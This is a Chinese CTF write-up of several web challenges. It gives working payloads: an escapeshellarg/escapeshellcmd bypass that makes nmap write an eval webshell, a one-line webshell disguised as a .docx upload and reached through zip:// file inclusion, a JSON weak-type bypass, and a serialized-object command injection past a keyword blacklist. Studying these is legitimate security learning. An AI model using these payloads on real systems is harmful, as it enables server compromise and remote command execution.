2018 全国大学生软件测试大赛 安恒杯Web测试大赛 全国总决赛 部分Writeup

首发于安恒网络空间安全讲武堂Orz。

Orz太菜了只做出了几道水题,还是来赛后秒几题学习一下吧,水题就不赘述了。

在线工具

先看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 

include("flag.php");

if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}

两个重要函数

来看看官网给这两个函数的解释。

escapeshellarg

将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell函数包含exec()system()执行运算符

简单说来它的功能就是确保用户只传递一个参数给命令,用户不能指定更多的参数,用户不能执行不同的命令 。

escapeshellcmd

对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()system()函数,或者执行运算符之前进行转义。

在转义过程中,反斜线会在以下字符之前插入:

1
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF

'"仅在不配对的时候被转义,在 Windows 平台上,所有这些字符以及%!字符都会被空格代替。

简单说来它的功能就是确保用户只执行一个命令,用户可以指定不限数量的参数,用户不能执行不同的命令。

一个简单结论

对于单个单引号,escapeshellarg函数转义后,还会在被转义字符的左右字符串各加一个单引号进行连接,而escapeshellcmd函数是直接转义。对于成对的单引号,escapeshellcmd函数不转义,但escapeshellarg函数转义。

一个简单举例

1
2
3
4
5
6
7
8
9
<?php 

$host = "127.0.0.1' -v -d a=1";
echo $host."</br>";
$host=escapeshellarg($host);
echo $host."</br>";
$host=escapeshellcmd($host);
echo $host."</br>";
?>

打印出的字符串如下。

1
2
3
127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'

分解一下,首先escapeshellarg函数先对单引号转义,再用单引号将原单引号左右两部分括起来从而起到连接的作用。

1
'127.0.0.1'\'' -v -d a=1'

然后escapeshellcmd函数对不成对单引号和反斜杠转义,即得到如下字符串。

1
'127.0.0.1'\\'' -v -d a=1\'

最终字符串被分割成三个部分。

1
2
3
4
5
'127.0.0.1'
\\
''
-v -d
a=1\'

但是如果是先用escapeshellcmd函数,再用的escapeshellarg函数,则不会发生这个问题。

赛题详解

再来看看题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 

include("flag.php");

if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}

只需要在要执行的恶意代码两边加上分号即可绕过。

并且此处需要用到nmap-oN指令,将标准输出直接写入指定的文件。

先上Payload

1
' <?php eval($_POST[1]);?> -oN shell.php '

第一次先经过escapeshellarg函数,先对左右两边的单引号进行转义,然后分别对原单引号即现在斜杆加单引号的左右两边再次加上单引号进行字符串连接,得到如下字符串。【为直观观看特意做了空格区分。

1
''     \'     ' -oN shell.php '     \'     ''

然后第二次使用escapeshellcmd函数,对斜杆和单个单引号进行转义。

1
''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

那么最后可以看到字符串被单引号分割成了多份,而最终指令如下。

1
nmap -T5  -sT -Pn --host-timeout 2 -F ''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

删除不必要的东西之后得到如下指令。

1
nmap -T5  -sT -Pn --host-timeout 2 -F \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php

即指令目的就是对\<\?phpeval\(\$_POST\[1\]\)\;\?\>进行扫描,并将结果存入shell.php

通过这一指令可以将shell写入,从而连上小🐎。

需要一提的是mac本地用的nmap7.70php5.5.38版本没有复现成功,可能还有别的环境的问题。

放在自己的vps上用nmap7.01php5.4.16成功复现了【我就做出了这题Orz。

黑产了解一下?

赛后秒题开始XD。

似乎是QCTFXMAN选拔赛的题。

在交易市场有9999999flag以及5000000hint

在抽奖界面抓包会发现发送了Json数据,直接用true绕过。【我赛后翻Writeup说是有一个git泄漏代码审计发现这个弱类型判断,但是比赛的时候好像没有扫到这个git泄漏Orz。

1
{"action":"buy","numbers":[true,true,true,true,true,true,true]}

似乎没有办法把钱弄到9999999,那只好买hint,需要一提的是网页上的购买hint按钮是假的,点击没有反应,只好Burpsuite发包购买。

1
{"action":"hint"}

Post发送如上请求后返回一个admin pass isQWERTYUIOPASDFGHJKL的字符串,应该是需要用这个pass的密码去注册admin账号,登陆后多了一个上传页面。

这儿只能上传docdocx,测试后发现校验了后缀名、Mime、文件头。

且这里有一个文件包含,后缀会添加php

然后由于doczip的文件头一样,因此构造一句话木马打包后,Burpsuite抓包修改后缀名和Mime类型上传,最后使用zip伪协议读取即可。

1
?page=zip://uploads/e65eee3bd3f975947e589d1e6ae279ccdf31fb3e.docx%23south

其中的south是小马的名字,以及这里需要一提的是uploads这个目录下的flag是假的,这里需要使用find命令来寻找flag,最后是在/etc/flag这个路径找到flag

不知名的小站

这题在比赛的时候就发现了一个反序列化漏洞,但是没找到class方法,后来在月赛群里和师傅们聊的时候有提及说题目提示hinthint.txt提示断电,然后联想到.hint.txt.swp,然后就有一个源码泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function verify($name,$location){
if(empty($name)){
die("<script =\"JavaScript\"> alert('请先登录!');self.location='$location';</script>");
}
}

class info{
public $name;
public $ages;
public $cmd;
public $black_str;

function say_name(){
echo $this->name;
}

function say_ages(){
echo $this->ages;
}

function safe($str){
$this->black_str = 'ls| |{I|;|%0a|cat|flag|find|&|<';
$check = eregi($this->black_str,$str);
return $check;
}

function __destruct(){
$check = $this->safe($this->cmd);
if($check){
die("<script language=\"JavaScript\"> alert('您的内容含有字符非法!'); self.location='./index.php'; </script> ");
}
@system($this->cmd);
}
}
?>

然后在注册登陆后抓包可以看到POST了一个反序列化的字符串上去。

1
O:4:"info":4:{s:4:"name";s:5:"admin";s:4:"ages";s:2:"12";s:3:"cmd";N;s:9:"black_str";N;}

根据源码泄漏构造绕过,eregi可以使用%00截断绕过,其他内容和些许不足有错误遗漏的地方由于赛后秒题环境缺失无法复现,因此不能详细补充纠正这篇文章Orz。

Refer

谈谈escapeshellarg参数绕过和注入的问题

利用/绕过 PHP escapeshellarg/escapeshellcmd函数

SKCTF2

escapeshellarg 和 escapeshellcmd 函数